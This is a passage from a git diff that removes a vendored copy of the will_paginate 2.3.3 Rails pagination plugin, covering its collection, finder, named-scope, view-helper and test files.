page.to_i - raise InvalidPage.new(page, @current_page) if @current_page < 1 - @per_page = per_page.to_i - raise ArgumentError, "`per_page` setting cannot be less than 1 (#{@per_page} given)" if @per_page < 1 - - self.total_entries = total if total - end - - # Just like +new+, but yields the object after instantiation and returns it - # afterwards. This is very useful for manual pagination: - # - # @entries = WillPaginate::Collection.create(1, 10) do |pager| - # result = Post.find(:all, :limit => pager.per_page, :offset => pager.offset) - # # inject the result array into the paginated collection: - # pager.replace(result) - # - # unless pager.total_entries - # # the pager didn't manage to guess the total count, do it manually - # pager.total_entries = Post.count - # end - # end - # - # The possibilities with this are endless. For another example, here is how - # WillPaginate used to define pagination for Array instances: - # - # Array.class_eval do - # def paginate(page = 1, per_page = 15) - # WillPaginate::Collection.create(page, per_page, size) do |pager| - # pager.replace self[pager.offset, pager.per_page].to_a - # end - # end - # end - # - # The Array#paginate API has since then changed, but this still serves as a - # fine example of WillPaginate::Collection usage. - def self.create(page, per_page, total = nil, &block) - pager = new(page, per_page, total) - yield pager - pager - end - - # Helper method that is true when someone tries to fetch a page with a - # larger number than the last page. Can be used in combination with flashes - # and redirecting. - def out_of_bounds? - current_page > total_pages - end - - # Current offset of the paginated collection. If we're on the first page, - # it is always 0. If we're on the 2nd page and there are 30 entries per page, - # the offset is 30. This property is useful if you want to render ordinals - # besides your records: simply start with offset + 1. - def offset - (current_page - 1) * per_page - end - - # current_page - 1 or nil if there is no previous page - def previous_page - current_page > 1 ? (current_page - 1) : nil - end - - # current_page + 1 or nil if there is no next page - def next_page - current_page < total_pages ? (current_page + 1) : nil - end - - def total_entries=(number) - @total_entries = number.to_i - @total_pages = (@total_entries / per_page.to_f).ceil - end - - # This is a magic wrapper for the original Array#replace method. It serves - # for populating the paginated collection after initialization. - # - # Why magic? Because it tries to guess the total number of entries judging - # by the size of given array. If it is shorter than +per_page+ limit, then we - # know we're on the last page. This trick is very useful for avoiding - # unnecessary hits to the database to do the counting after we fetched the - # data for the current page. - # - # However, after using +replace+ you should always test the value of - # +total_entries+ and set it to a proper value if it's +nil+. See the example - # in +create+. - def replace(array) - result = super - - # The collection is shorter then page limit? Rejoice, because - # then we know that we are on the last page! - if total_entries.nil? and length < per_page and (current_page == 1 or length > 0) - self.total_entries = offset + length - end - - result - end - end -end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/core_ext.rb b/vendor/plugins/will_paginate/lib/will_paginate/core_ext.rb deleted file mode 100644 index 32f10f50..00000000 --- a/vendor/plugins/will_paginate/lib/will_paginate/core_ext.rb +++ /dev/null @@ -1,32 +0,0 @@ -require 'set' -require 'will_paginate/array' - -unless Hash.instance_methods.include? 'except' - Hash.class_eval do - # Returns a new hash without the given keys. - def except(*keys) - rejected = Set.new(respond_to?(:convert_key) ? keys.map { |key| convert_key(key) } : keys) - reject { |key,| rejected.include?(key) } - end - - # Replaces the hash without only the given keys. - def except!(*keys) - replace(except(*keys)) - end - end -end - -unless Hash.instance_methods.include? 'slice' - Hash.class_eval do - # Returns a new hash with only the given keys. - def slice(*keys) - allowed = Set.new(respond_to?(:convert_key) ? keys.map { |key| convert_key(key) } : keys) - reject { |key,| !allowed.include?(key) } - end - - # Replaces the hash with only the given keys. - def slice!(*keys) - replace(slice(*keys)) - end - end -end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/finder.rb b/vendor/plugins/will_paginate/lib/will_paginate/finder.rb deleted file mode 100644 index ec670eaa..00000000 --- a/vendor/plugins/will_paginate/lib/will_paginate/finder.rb +++ /dev/null @@ -1,247 +0,0 @@ -require 'will_paginate/core_ext' - -module WillPaginate - # A mixin for ActiveRecord::Base. Provides +per_page+ class method - # and hooks things up to provide paginating finders. - # - # Find out more in WillPaginate::Finder::ClassMethods - # - module Finder - def self.included(base) - base.extend ClassMethods - class << base - alias_method_chain :method_missing, :paginate - # alias_method_chain :find_every, :paginate - define_method(:per_page) { 30 } unless respond_to?(:per_page) - end - end - - # = Paginating finders for ActiveRecord models - # - # WillPaginate adds +paginate+, +per_page+ and other methods to - # ActiveRecord::Base class methods and associations. It also hooks into - # +method_missing+ to intercept pagination calls to dynamic finders such as - # +paginate_by_user_id+ and translate them to ordinary finders - # (+find_all_by_user_id+ in this case). - # - # In short, paginating finders are equivalent to ActiveRecord finders; the - # only difference is that we start with "paginate" instead of "find" and - # that :page is required parameter: - # - # @posts = Post.paginate :all, :page => params[:page], :order => 'created_at DESC' - # - # In paginating finders, "all" is implicit. There is no sense in paginating - # a single record, right? So, you can drop the :all argument: - # - # Post.paginate(...) => Post.find :all - # Post.paginate_all_by_something => Post.find_all_by_something - # Post.paginate_by_something => Post.find_all_by_something - # - # == The importance of the :order parameter - # - # In ActiveRecord finders, :order parameter specifies columns for - # the ORDER BY clause in SQL. It is important to have it, since - # pagination only makes sense with ordered sets. Without the ORDER - # BY clause, databases aren't required to do consistent ordering when - # performing SELECT queries; this is especially true for - # PostgreSQL. - # - # Therefore, make sure you are doing ordering on a column that makes the - # most sense in the current context. Make that obvious to the user, also. - # For perfomance reasons you will also want to add an index to that column. - module ClassMethods - # This is the main paginating finder. - # - # == Special parameters for paginating finders - # * :page -- REQUIRED, but defaults to 1 if false or nil - # * :per_page -- defaults to CurrentModel.per_page (which is 30 if not overridden) - # * :total_entries -- use only if you manually count total entries - # * :count -- additional options that are passed on to +count+ - # * :finder -- name of the ActiveRecord finder used (default: "find") - # - # All other options (+conditions+, +order+, ...) are forwarded to +find+ - # and +count+ calls. - def paginate(*args, &block) - options = args.pop - page, per_page, total_entries = wp_parse_options(options) - finder = (options[:finder] || 'find').to_s - - if finder == 'find' - # an array of IDs may have been given: - total_entries ||= (Array === args.first and args.first.size) - # :all is implicit - args.unshift(:all) if args.empty? - end - - WillPaginate::Collection.create(page, per_page, total_entries) do |pager| - count_options = options.except :page, :per_page, :total_entries, :finder - find_options = count_options.except(:count).update(:offset => pager.offset, :limit => pager.per_page) - - args << find_options - # @options_from_last_find = nil - pager.replace send(finder, *args, &block) - - # magic counting for user convenience: - pager.total_entries = wp_count(count_options, args, finder) unless pager.total_entries - end - end - - # Iterates through all records by loading one page at a time. This is useful - # for migrations or any other use case where you don't want to load all the - # records in memory at once. - # - # It uses +paginate+ internally; therefore it accepts all of its options. - # You can specify a starting page with :page (default is 1). Default - # :order is "id", override if necessary. - # - # See http://weblog.jamisbuck.org/2007/4/6/faking-cursors-in-activerecord where - # Jamis Buck describes this and also uses a more efficient way for MySQL. - def paginated_each(options = {}, &block) - options = { :order => 'id', :page => 1 }.merge options - options[:page] = options[:page].to_i - options[:total_entries] = 0 # skip the individual count queries - total = 0 - - begin - collection = paginate(options) - total += collection.each(&block).size - options[:page] += 1 - end until collection.size < collection.per_page - - total - end - - # Wraps +find_by_sql+ by simply adding LIMIT and OFFSET to your SQL string - # based on the params otherwise used by paginating finds: +page+ and - # +per_page+. - # - # Example: - # - # @developers = Developer.paginate_by_sql ['select * from developers where salary > ?', 80000], - # :page => params[:page], :per_page => 3 - # - # A query for counting rows will automatically be generated if you don't - # supply :total_entries. If you experience problems with this - # generated SQL, you might want to perform the count manually in your - # application. - # - def paginate_by_sql(sql, options) - WillPaginate::Collection.create(*wp_parse_options(options)) do |pager| - query = sanitize_sql(sql) - original_query = query.dup - # add limit, offset - add_limit! query, :offset => pager.offset, :limit => pager.per_page - # perfom the find - pager.replace find_by_sql(query) - - unless pager.total_entries - count_query = original_query.sub /\bORDER\s+BY\s+[\w`,\s]+$/mi, '' - count_query = "SELECT COUNT(*) FROM (#{count_query})" - - unless ['oracle', 'oci'].include?(self.connection.adapter_name.downcase) - count_query << ' AS count_table' - end - # perform the count query - pager.total_entries = count_by_sql(count_query) - end - end - end - - def respond_to?(method, include_priv = false) #:nodoc: - case method.to_sym - when :paginate, :paginate_by_sql - true - else - super(method.to_s.sub(/^paginate/, 'find'), include_priv) - end - end - - protected - - def method_missing_with_paginate(method, *args, &block) #:nodoc: - # did somebody tried to paginate? if not, let them be - unless method.to_s.index('paginate') == 0 - return method_missing_without_paginate(method, *args, &block) - end - - # paginate finders are really just find_* with limit and offset - finder = method.to_s.sub('paginate', 'find') - finder.sub!('find', 'find_all') if finder.index('find_by_') == 0 - - options = args.pop - raise ArgumentError, 'parameter hash expected' unless options.respond_to? :symbolize_keys - options = options.dup - options[:finder] = finder - args << options - - paginate(*args, &block) - end - - # Does the not-so-trivial job of finding out the total number of entries - # in the database. It relies on the ActiveRecord +count+ method. - def wp_count(options, args, finder) - excludees = [:count, :order, :limit, :offset, :readonly] - unless options[:select] and options[:select] =~ /^\s*DISTINCT\b/i - excludees << :select # only exclude the select param if it doesn't begin with DISTINCT - end - - # count expects (almost) the same options as find - count_options = options.except *excludees - - # merge the hash found in :count - # this allows you to specify :select, :order, or anything else just for the count query - count_options.update options[:count] if options[:count] - - # we may be in a model or an association proxy - klass = (@owner and @reflection) ? @reflection.klass : self - - # forget about includes if they are irrelevant (Rails 2.1) - if count_options[:include] and - klass.private_methods.include?('references_eager_loaded_tables?') and - !klass.send(:references_eager_loaded_tables?, count_options) - count_options.delete :include - end - - # we may have to scope ... - counter = Proc.new { count(count_options) } - - count = if finder.index('find_') == 0 and klass.respond_to?(scoper = finder.sub('find', 'with')) - # scope_out adds a 'with_finder' method which acts like with_scope, if it's present - # then execute the count with the scoping provided by the with_finder - send(scoper, &counter) - elsif match = /^find_(all_by|by)_([_a-zA-Z]\w*)$/.match(finder) - # extract conditions from calls like "paginate_by_foo_and_bar" - attribute_names = extract_attribute_names_from_match(match) - conditions = construct_attributes_from_arguments(attribute_names, args) - with_scope(:find => { :conditions => conditions }, &counter) - else - counter.call - end - - count.respond_to?(:length) ? count.length : count - end - - def wp_parse_options(options) #:nodoc: - raise ArgumentError, 'parameter hash expected' unless options.respond_to? :symbolize_keys - options = options.symbolize_keys - raise ArgumentError, ':page parameter required' unless options.key? :page - - if options[:count] and options[:total_entries] - raise ArgumentError, ':count and :total_entries are mutually exclusive' - end - - page = options[:page] || 1 - per_page = options[:per_page] || self.per_page - total = options[:total_entries] - [page, per_page, total] - end - - private - - # def find_every_with_paginate(options) - # @options_from_last_find = options - # find_every_without_paginate(options) - # end - end - end -end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/named_scope.rb b/vendor/plugins/will_paginate/lib/will_paginate/named_scope.rb deleted file mode 100644 index 6f00cf76..00000000 --- a/vendor/plugins/will_paginate/lib/will_paginate/named_scope.rb +++ /dev/null @@ -1,132 +0,0 @@ -## stolen from: http://dev.rubyonrails.org/browser/trunk/activerecord/lib/active_record/named_scope.rb?rev=9084 - -module WillPaginate - # This is a feature backported from Rails 2.1 because of its usefullness not only with will_paginate, - # but in other aspects when managing complex conditions that you want to be reusable. - module NamedScope - # All subclasses of ActiveRecord::Base have two named_scopes: - # * all, which is similar to a find(:all) query, and - # * scoped, which allows for the creation of anonymous scopes, on the fly: - # - # Shirt.scoped(:conditions => {:color => 'red'}).scoped(:include => :washing_instructions) - # - # These anonymous scopes tend to be useful when procedurally generating complex queries, where passing - # intermediate values (scopes) around as first-class objects is convenient. - def self.included(base) - base.class_eval do - extend ClassMethods - named_scope :all - named_scope :scoped, lambda { |scope| scope } - end - end - - module ClassMethods - def scopes #:nodoc: - read_inheritable_attribute(:scopes) || write_inheritable_attribute(:scopes, {}) - end - - # Adds a class method for retrieving and querying objects. A scope represents a narrowing of a database query, - # such as :conditions => {:color => :red}, :select => 'shirts.*', :include => :washing_instructions. - # - # class Shirt < ActiveRecord::Base - # named_scope :red, :conditions => {:color => 'red'} - # named_scope :dry_clean_only, :joins => :washing_instructions, :conditions => ['washing_instructions.dry_clean_only = ?', true] - # end - # - # The above calls to named_scope define class methods Shirt.red and Shirt.dry_clean_only. Shirt.red, - # in effect, represents the query Shirt.find(:all, :conditions => {:color => 'red'}). - # - # Unlike Shirt.find(...), however, the object returned by Shirt.red is not an Array; it resembles the association object - # constructed by a has_many declaration. For instance, you can invoke Shirt.red.find(:first), Shirt.red.count, - # Shirt.red.find(:all, :conditions => {:size => 'small'}). Also, just - # as with the association objects, name scopes acts like an Array, implementing Enumerable; Shirt.red.each(&block), - # Shirt.red.first, and Shirt.red.inject(memo, &block) all behave as if Shirt.red really were an Array. - # - # These named scopes are composable. For instance, Shirt.red.dry_clean_only will produce all shirts that are both red and dry clean only. - # Nested finds and calculations also work with these compositions: Shirt.red.dry_clean_only.count returns the number of garments - # for which these criteria obtain. Similarly with Shirt.red.dry_clean_only.average(:thread_count). - # - # All scopes are available as class methods on the ActiveRecord descendent upon which the scopes were defined. But they are also available to - # has_many associations. If, - # - # class Person < ActiveRecord::Base - # has_many :shirts - # end - # - # then elton.shirts.red.dry_clean_only will return all of Elton's red, dry clean - # only shirts. - # - # Named scopes can also be procedural. - # - # class Shirt < ActiveRecord::Base - # named_scope :colored, lambda { |color| - # { :conditions => { :color => color } } - # } - # end - # - # In this example, Shirt.colored('puce') finds all puce shirts. - # - # Named scopes can also have extensions, just as with has_many declarations: - # - # class Shirt < ActiveRecord::Base - # named_scope :red, :conditions => {:color => 'red'} do - # def dom_id - # 'red_shirts' - # end - # end - # end - # - def named_scope(name, options = {}, &block) - scopes[name] = lambda do |parent_scope, *args| - Scope.new(parent_scope, case options - when Hash - options - when Proc - options.call(*args) - end, &block) - end - (class << self; self end).instance_eval do - define_method name do |*args| - scopes[name].call(self, *args) - end - end - end - end - - class Scope #:nodoc: - attr_reader :proxy_scope, :proxy_options - [].methods.each { |m| delegate m, :to => :proxy_found unless m =~ /(^__|^nil\?|^send|class|extend|find|count|sum|average|maximum|minimum|paginate)/ } - delegate :scopes, :with_scope, :to => :proxy_scope - - def initialize(proxy_scope, options, &block) - [options[:extend]].flatten.each { |extension| extend extension } if options[:extend] - extend Module.new(&block) if block_given? - @proxy_scope, @proxy_options = proxy_scope, options.except(:extend) - end - - def reload - load_found; self - end - - protected - def proxy_found - @found || load_found - end - - private - def method_missing(method, *args, &block) - if scopes.include?(method) - scopes[method].call(self, *args) - else - with_scope :find => proxy_options do - proxy_scope.send(method, *args, &block) - end - end - end - - def load_found - @found = find(:all) - end - end - end -end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/named_scope_patch.rb b/vendor/plugins/will_paginate/lib/will_paginate/named_scope_patch.rb deleted file mode 100644 index bdc1997f..00000000 --- a/vendor/plugins/will_paginate/lib/will_paginate/named_scope_patch.rb +++ /dev/null @@ -1,39 +0,0 @@ -## based on http://dev.rubyonrails.org/changeset/9084 - -ActiveRecord::Associations::AssociationProxy.class_eval do - protected - def with_scope(*args, &block) - @reflection.klass.send :with_scope, *args, &block - end -end - -[ ActiveRecord::Associations::AssociationCollection, - ActiveRecord::Associations::HasManyThroughAssociation ].each do |klass| - klass.class_eval do - protected - alias :method_missing_without_scopes :method_missing_without_paginate - def method_missing_without_paginate(method, *args, &block) - if @reflection.klass.scopes.include?(method) - @reflection.klass.scopes[method].call(self, *args, &block) - else - method_missing_without_scopes(method, *args, &block) - end - end - end -end - -# Rails 1.2.6 -ActiveRecord::Associations::HasAndBelongsToManyAssociation.class_eval do - protected - def method_missing(method, *args, &block) - if @target.respond_to?(method) || (!@reflection.klass.respond_to?(method) && Class.respond_to?(method)) - super - elsif @reflection.klass.scopes.include?(method) - @reflection.klass.scopes[method].call(self, *args) - else - @reflection.klass.with_scope(:find => { :conditions => @finder_sql, :joins => @join_sql, :readonly => false }) do - @reflection.klass.send(method, *args, &block) - end - end - end -end if ActiveRecord::Base.respond_to? :find_first diff --git a/vendor/plugins/will_paginate/lib/will_paginate/version.rb b/vendor/plugins/will_paginate/lib/will_paginate/version.rb deleted file mode 100644 index 6bcd90d6..00000000 --- a/vendor/plugins/will_paginate/lib/will_paginate/version.rb +++ /dev/null @@ -1,9 +0,0 @@ -module WillPaginate - module VERSION - MAJOR = 2 - MINOR = 3 - TINY = 3 - - STRING = [MAJOR, MINOR, TINY].join('.') - end -end diff --git a/vendor/plugins/will_paginate/lib/will_paginate/view_helpers.rb b/vendor/plugins/will_paginate/lib/will_paginate/view_helpers.rb deleted file mode 100644 index c53e44ec..00000000 --- a/vendor/plugins/will_paginate/lib/will_paginate/view_helpers.rb +++ /dev/null @@ -1,373 +0,0 @@ -require 'will_paginate/core_ext' - -module WillPaginate - # = Will Paginate view helpers - # - # Currently there is only one view helper: +will_paginate+. It renders the - # pagination links for the given collection. The helper itself is lightweight - # and serves only as a wrapper around link renderer instantiation; the - # renderer then does all the hard work of generating the HTML. - # - # == Global options for helpers - # - # Options for pagination helpers are optional and get their default values from the - # WillPaginate::ViewHelpers.pagination_options hash. You can write to this hash to - # override default options on the global level: - # - # WillPaginate::ViewHelpers.pagination_options[:prev_label] = 'Previous page' - # - # By putting this into your environment.rb you can easily translate link texts to previous - # and next pages, as well as override some other defaults to your liking. - module ViewHelpers - # default options that can be overridden on the global level - @@pagination_options = { - :class => 'pagination', - :prev_label => '« Previous', - :next_label => 'Next »', - :inner_window => 4, # links around the current page - :outer_window => 1, # links around beginning and end - :separator => ' ', # single space is friendly to spiders and non-graphic browsers - :param_name => :page, - :params => nil, - :renderer => 'WillPaginate::LinkRenderer', - :page_links => true, - :container => true - } - mattr_reader :pagination_options - - # Renders Digg/Flickr-style pagination for a WillPaginate::Collection - # object. Nil is returned if there is only one page in total; no point in - # rendering the pagination in that case... - # - # ==== Options - # * :class -- CSS class name for the generated DIV (default: "pagination") - # * :prev_label -- default: "« Previous" - # * :next_label -- default: "Next »" - # * :inner_window -- how many links are shown around the current page (default: 4) - # * :outer_window -- how many links are around the first and the last page (default: 1) - # * :separator -- string separator for page HTML elements (default: single space) - # * :param_name -- parameter name for page number in URLs (default: :page) - # * :params -- additional parameters when generating pagination links - # (eg. :controller => "foo", :action => nil) - # * :renderer -- class name, class or instance of a link renderer (default: - # WillPaginate::LinkRenderer) - # * :page_links -- when false, only previous/next links are rendered (default: true) - # * :container -- toggles rendering of the DIV container for pagination links, set to - # false only when you are rendering your own pagination markup (default: true) - # * :id -- HTML ID for the container (default: nil). Pass +true+ to have the ID - # automatically generated from the class name of objects in collection: for example, paginating - # ArticleComment models would yield an ID of "article_comments_pagination". - # - # All options beside listed ones are passed as HTML attributes to the container - # element for pagination links (the DIV). For example: - # - # <%= will_paginate @posts, :id => 'wp_posts' %> - # - # ... will result in: - # - # - # - # ==== Using the helper without arguments - # If the helper is called without passing in the collection object, it will - # try to read from the instance variable inferred by the controller name. - # For example, calling +will_paginate+ while the current controller is - # PostsController will result in trying to read from the @posts - # variable. Example: - # - # <%= will_paginate :id => true %> - # - # ... will result in @post collection getting paginated: - # - # - # - def will_paginate(collection = nil, options = {}) - options, collection = collection, nil if collection.is_a? Hash - unless collection or !controller - collection_name = "@#{controller.controller_name}" - collection = instance_variable_get(collection_name) - raise ArgumentError, "The #{collection_name} variable appears to be empty. Did you " + - "forget to pass the collection object for will_paginate?" unless collection - end - # early exit if there is nothing to render - return nil unless WillPaginate::ViewHelpers.total_pages_for_collection(collection) > 1 - - options = options.symbolize_keys.reverse_merge WillPaginate::ViewHelpers.pagination_options - - # get the renderer instance - renderer = case options[:renderer] - when String - options[:renderer].to_s.constantize.new - when Class - options[:renderer].new - else - options[:renderer] - end - # render HTML for pagination - renderer.prepare collection, options, self - renderer.to_html - end - - # Wrapper for rendering pagination links at both top and bottom of a block - # of content. - # - # <% paginated_section @posts do %> - #
      - # <% for post in @posts %> - #
    1. ...
    2. - # <% end %> - #
    - # <% end %> - # - # will result in: - # - # - #
      - # ... - #
    - # - # - # Arguments are passed to a will_paginate call, so the same options - # apply. Don't use the :id option; otherwise you'll finish with two - # blocks of pagination links sharing the same ID (which is invalid HTML). - def paginated_section(*args, &block) - pagination = will_paginate(*args).to_s - content = pagination + capture(&block) + pagination - concat content, block.binding - end - - # Renders a helpful message with numbers of displayed vs. total entries. - # You can use this as a blueprint for your own, similar helpers. - # - # <%= page_entries_info @posts %> - # #-> Displaying posts 6 - 10 of 26 in total - # - # By default, the message will use the humanized class name of objects - # in collection: for instance, "project types" for ProjectType models. - # Override this to your liking with the :entry_name parameter: - # - # <%= page_entries_info @posts, :entry_name => 'item' %> - # #-> Displaying items 6 - 10 of 26 in total - def page_entries_info(collection, options = {}) - entry_name = options[:entry_name] || - (collection.empty?? 'entry' : collection.first.class.name.underscore.sub('_', ' ')) - - if collection.total_pages < 2 - case collection.size - when 0; "No #{entry_name.pluralize} found" - when 1; "Displaying 1 #{entry_name}" - else; "Displaying all #{collection.size} #{entry_name.pluralize}" - end - else - %{Displaying #{entry_name.pluralize} %d - %d of %d in total} % [ - collection.offset + 1, - collection.offset + collection.length, - collection.total_entries - ] - end - end - - def self.total_pages_for_collection(collection) #:nodoc: - if collection.respond_to?('page_count') and !collection.respond_to?('total_pages') - WillPaginate::Deprecation.warn <<-MSG - You are using a paginated collection of class #{collection.class.name} - which conforms to the old API of WillPaginate::Collection by using - `page_count`, while the current method name is `total_pages`. Please - upgrade yours or 3rd-party code that provides the paginated collection. - MSG - class << collection - def total_pages; page_count; end - end - end - collection.total_pages - end - end - - # This class does the heavy lifting of actually building the pagination - # links. It is used by +will_paginate+ helper internally. - class LinkRenderer - - # The gap in page links is represented by: - # - # - attr_accessor :gap_marker - - def initialize - @gap_marker = '' - end - - # * +collection+ is a WillPaginate::Collection instance or any other object - # that conforms to that API - # * +options+ are forwarded from +will_paginate+ view helper - # * +template+ is the reference to the template being rendered - def prepare(collection, options, template) - @collection = collection - @options = options - @template = template - - # reset values in case we're re-using this instance - @total_pages = @param_name = @url_string = nil - end - - # Process it! This method returns the complete HTML string which contains - # pagination links. Feel free to subclass LinkRenderer and change this - # method as you see fit. - def to_html - links = @options[:page_links] ? windowed_links : [] - # previous/next buttons - links.unshift page_link_or_span(@collection.previous_page, 'disabled prev_page', @options[:prev_label]) - links.push page_link_or_span(@collection.next_page, 'disabled next_page', @options[:next_label]) - - html = links.join(@options[:separator]) - @options[:container] ? @template.content_tag(:div, html, html_attributes) : html - end - - # Returns the subset of +options+ this instance was initialized with that - # represent HTML attributes for the container element of pagination links. - def html_attributes - return @html_attributes if @html_attributes - @html_attributes = @options.except *(WillPaginate::ViewHelpers.pagination_options.keys - [:class]) - # pagination of Post models will have the ID of "posts_pagination" - if @options[:container] and @options[:id] === true - @html_attributes[:id] = @collection.first.class.name.underscore.pluralize + '_pagination' - end - @html_attributes - end - - protected - - # Collects link items for visible page numbers. - def windowed_links - prev = nil - - visible_page_numbers.inject [] do |links, n| - # detect gaps: - links << gap_marker if prev and n > prev + 1 - links << page_link_or_span(n, 'current') - prev = n - links - end - end - - # Calculates visible page numbers using the :inner_window and - # :outer_window options. - def visible_page_numbers - inner_window, outer_window = @options[:inner_window].to_i, @options[:outer_window].to_i - window_from = current_page - inner_window - window_to = current_page + inner_window - - # adjust lower or upper limit if other is out of bounds - if window_to > total_pages - window_from -= window_to - total_pages - window_to = total_pages - end - if window_from < 1 - window_to += 1 - window_from - window_from = 1 - window_to = total_pages if window_to > total_pages - end - - visible = (1..total_pages).to_a - left_gap = (2 + outer_window)...window_from - right_gap = (window_to + 1)...(total_pages - outer_window) - visible -= left_gap.to_a if left_gap.last - left_gap.first > 1 - visible -= right_gap.to_a if right_gap.last - right_gap.first > 1 - - visible - end - - def page_link_or_span(page, span_class, text = nil) - text ||= page.to_s - - if page and page != current_page - classnames = span_class && span_class.index(' ') && span_class.split(' ', 2).last - page_link page, text, :rel => rel_value(page), :class => classnames - else - page_span page, text, :class => span_class - end - end - - def page_link(page, text, attributes = {}) - @template.link_to text, url_for(page), attributes - end - - def page_span(page, text, attributes = {}) - @template.content_tag :span, text, attributes - end - - # Returns URL params for +page_link_or_span+, taking the current GET params - # and :params option into account. - def url_for(page) - page_one = page == 1 - unless @url_string and !page_one - @url_params = {} - # page links should preserve GET parameters - stringified_merge @url_params, @template.params if @template.request.get? - stringified_merge @url_params, @options[:params] if @options[:params] - - if complex = param_name.index(/[^\w-]/) - page_param = (defined?(CGIMethods) ? CGIMethods : ActionController::AbstractRequest). - parse_query_parameters("#{param_name}=#{page}") - - stringified_merge @url_params, page_param - else - @url_params[param_name] = page_one ? 1 : 2 - end - - url = @template.url_for(@url_params) - return url if page_one - - if complex - @url_string = url.sub(%r!((?:\?|&)#{CGI.escape param_name}=)#{page}!, '\1@') - return url - else - @url_string = url - @url_params[param_name] = 3 - @template.url_for(@url_params).split(//).each_with_index do |char, i| - if char == '3' and url[i, 1] == '2' - @url_string[i] = '@' - break - end - end - end - end - # finally! - @url_string.sub '@', page.to_s - end - - private - - def rel_value(page) - case page - when @collection.previous_page; 'prev' + (page == 1 ? ' start' : '') - when @collection.next_page; 'next' - when 1; 'start' - end - end - - def current_page - @collection.current_page - end - - def total_pages - @total_pages ||= WillPaginate::ViewHelpers.total_pages_for_collection(@collection) - end - - def param_name - @param_name ||= @options[:param_name].to_s - end - - # Recursively merge into target hash by using stringified keys from the other one - def stringified_merge(target, other) - other.each do |key, value| - key = key.to_s # this line is what it's all about! - existing = target[key] - - if value.is_a?(Hash) and (existing.is_a?(Hash) or existing.nil?) - stringified_merge(existing || (target[key] = {}), value) - else - target[key] = value - end - end - end - end -end diff --git a/vendor/plugins/will_paginate/test/boot.rb b/vendor/plugins/will_paginate/test/boot.rb deleted file mode 100644 index 622fc93c..00000000 --- a/vendor/plugins/will_paginate/test/boot.rb +++ /dev/null @@ -1,21 +0,0 @@ -plugin_root = File.join(File.dirname(__FILE__), '..') -version = ENV['RAILS_VERSION'] -version = nil if version and version == "" - -# first look for a symlink to a copy of the framework -if !version and framework_root = ["#{plugin_root}/rails", "#{plugin_root}/../../rails"].find { |p| File.directory? p } - puts "found framework root: #{framework_root}" - # this allows for a plugin to be tested outside of an app and without Rails gems - $:.unshift "#{framework_root}/activesupport/lib", "#{framework_root}/activerecord/lib", "#{framework_root}/actionpack/lib" -else - # simply use installed gems if available - puts "using Rails#{version ? ' ' + version : nil} gems" - require 'rubygems' - - if version - gem 'rails', version - else - gem 'actionpack' - gem 'activerecord' - end -end diff --git a/vendor/plugins/will_paginate/test/collection_test.rb b/vendor/plugins/will_paginate/test/collection_test.rb deleted file mode 100644 index b3360901..00000000 --- a/vendor/plugins/will_paginate/test/collection_test.rb +++ /dev/null @@ -1,140 +0,0 @@ -require 'helper' -require 'will_paginate/array' - -class ArrayPaginationTest < Test::Unit::TestCase - def test_simple - collection = ('a'..'e').to_a - - [{ :page => 1, :per_page => 3, :expected => %w( a b c ) }, - { :page => 2, :per_page => 3, :expected => %w( d e ) }, - { :page => 1, :per_page => 5, :expected => %w( a b c d e ) }, - { :page => 3, :per_page => 5, :expected => [] }, - ]. - each do |conditions| - expected = conditions.delete :expected - assert_equal expected, collection.paginate(conditions) - end - end - - def test_defaults - result = (1..50).to_a.paginate - assert_equal 1, result.current_page - assert_equal 30, result.size - end - - def test_deprecated_api - assert_raise(ArgumentError) { [].paginate(2) } - assert_raise(ArgumentError) { [].paginate(2, 10) } - end - - def test_total_entries_has_precedence - result = %w(a b c).paginate :total_entries => 5 - assert_equal 5, result.total_entries - end - - def test_argument_error_with_params_and_another_argument - assert_raise ArgumentError do - [].paginate({}, 5) - end - end - - def test_paginated_collection - entries = %w(a b c) - collection = create(2, 3, 10) do |pager| - assert_equal entries, pager.replace(entries) - end - - assert_equal entries, collection - assert_respond_to_all collection, %w(total_pages each offset size current_page per_page total_entries) - assert_kind_of Array, collection - assert_instance_of Array, collection.entries - assert_equal 3, collection.offset - assert_equal 4, collection.total_pages - assert !collection.out_of_bounds? - end - - def test_previous_next_pages - collection = create(1, 1, 3) - assert_nil collection.previous_page - assert_equal 2, collection.next_page - - collection = create(2, 1, 3) - assert_equal 1, collection.previous_page - assert_equal 3, collection.next_page - - collection = create(3, 1, 3) - assert_equal 2, collection.previous_page - assert_nil collection.next_page - end - - def test_out_of_bounds - entries = create(2, 3, 2){} - assert entries.out_of_bounds? - - entries = create(1, 3, 2){} - assert !entries.out_of_bounds? - end - - def test_guessing_total_count - entries = create do |pager| - # collection is shorter than limit - pager.replace array - end - assert_equal 8, entries.total_entries - - entries = create(2, 5, 10) do |pager| - # collection is shorter than limit, but we have an explicit count - pager.replace array - end - assert_equal 10, entries.total_entries - - entries = create do |pager| - # collection is the same as limit; we can't guess - pager.replace array(5) - end - assert_equal nil, entries.total_entries - - entries = create do |pager| - # collection is empty; we can't guess - pager.replace array(0) - end - assert_equal nil, entries.total_entries - - entries = create(1) do |pager| - # collection is empty and we're on page 1, - # so the whole thing must be empty, too - pager.replace array(0) - end - assert_equal 0, entries.total_entries - end - - def test_invalid_page - bad_inputs = [0, -1, nil, '', 'Schnitzel'] - - bad_inputs.each do |bad| - assert_raise(WillPaginate::InvalidPage) { create bad } - end - end - - def test_invalid_per_page_setting - assert_raise(ArgumentError) { create(1, -1) } - end - - def test_page_count_was_removed - assert_raise(NoMethodError) { create.page_count } - # It's `total_pages` now. - end - - private - def create(page = 2, limit = 5, total = nil, &block) - if block_given? - WillPaginate::Collection.create(page, limit, total, &block) - else - WillPaginate::Collection.new(page, limit, total) - end - end - - def array(size = 3) - Array.new(size) - end -end diff --git a/vendor/plugins/will_paginate/test/console b/vendor/plugins/will_paginate/test/console deleted file mode 100755 index 3f282f11..00000000 --- a/vendor/plugins/will_paginate/test/console +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env ruby -irb = RUBY_PLATFORM =~ /(:?mswin|mingw)/ ? 'irb.bat' : 'irb' -libs = [] - -libs << 'irb/completion' -libs << File.join('lib', 'load_fixtures') - -exec "#{irb} -Ilib:test#{libs.map{ |l| " -r #{l}" }.join} --simple-prompt" diff --git a/vendor/plugins/will_paginate/test/database.yml b/vendor/plugins/will_paginate/test/database.yml deleted file mode 100644 index 7ef1e735..00000000 --- 